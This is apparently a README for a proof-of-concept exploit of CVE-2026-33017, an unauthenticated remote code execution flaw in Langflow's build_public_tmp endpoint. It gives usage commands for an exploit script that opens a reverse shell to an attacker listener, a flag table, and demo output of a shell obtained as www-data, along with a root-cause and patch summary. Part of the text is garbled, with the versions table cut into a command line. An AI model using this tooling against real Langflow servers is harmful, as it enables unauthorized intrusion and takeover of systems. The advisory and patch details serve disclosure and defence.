Exploit for Eval Injection in Langflow CVE-2026-33017

## https://sploitus.com/exploit?id=E02C8D55-5BD2-5E3A-A189-BF342D24B2E7
# CVE-2026-33017 — Langflow Unauthenticated Remote Code Execution

**Author:** [dynamo2k1](https://github.com/dynamo2k1)  
**Severity:** Critical  
**CVSSv3:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

---

## Overview

**CVE-2026-33017** is a critical unauthenticated Remote Code Execution vulnerability in [Langflow](https://github.com/langflow-ai/langflow), an open-source platform for visually building LLM applications and AI workflows.

The vulnerable endpoint `build_public_tmp` accepts an attacker-supplied `data` field in the request body without authentication. This allows an attacker to inject an entirely custom flow definition containing a **malicious Python Custom Component**, whose code is executed on the server during the build process.

No credentials required. Only a valid Public flow UUID is needed.

---

## Affected Versions

| Status | Version |
|--------|---------|
| Vulnerable | Langflow ** \
  --lport 9001
```

Or use the built-in interactive listener (no separate `nc` needed):

```bash
python exploit.py \
  --url https://target.com \
  --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 \
  --lhost  \
  --lport 9001 \
  --listen
```

### Options

| Flag | Description |
|------|-------------|
| `--url` | Target Langflow base URL |
| `--flow-id` | Public flow UUID |
| `--lhost` | Your IP for the reverse shell callback |
| `--lport` | Your listener port |
| `--listen` | Use the built-in shell handler instead of external `nc` |
| `--timeout` | HTTP request timeout in seconds (default: 30) |

---

## Demo

```
[*] Target: https://target.com/api/v1/build_public_tmp//flow
[*] Callback: 10.10.15.28:9001
[*] HTTP 200
[!] SHELL ESTABLISHED FROM 10.x.x.x:36522

www-data@target:/var/lib/langflow$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

---

## How It Works

1. The attacker identifies a public Langflow flow UUID (visible in the playground URL).
2. A crafted POST request injects a malicious Custom Component containing Python code at module level.
3. During the build phase, Langflow compiles the component code — executing the attacker's payload before any method is called.
4. The code spawns a reverse shell back to the attacker's listener.

**Root cause:** `build_public_tmp` trusted the `data` field from the request body instead of using only the server-stored flow definition.

**Patch:** In Langflow 1.9.0, the `data` parameter was removed from `build_public_tmp`. External flow definitions can no longer be injected through this endpoint.

Patch commit: [`73b6612`](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0)

---

## References

- [GitHub Security Advisory — GHSA-vwmf-pq79-vjvx](https://github.com/advisories/GHSA-vwmf-pq79-vjvx)
- [NVD — CVE-2026-33017](https://nvd.nist.gov/vuln/detail/CVE-2026-33017)
- [Patch Commit](https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0)

---

## Disclaimer

This PoC is provided for educational and authorized security research purposes only. Only use against systems you own or have explicit written permission to test.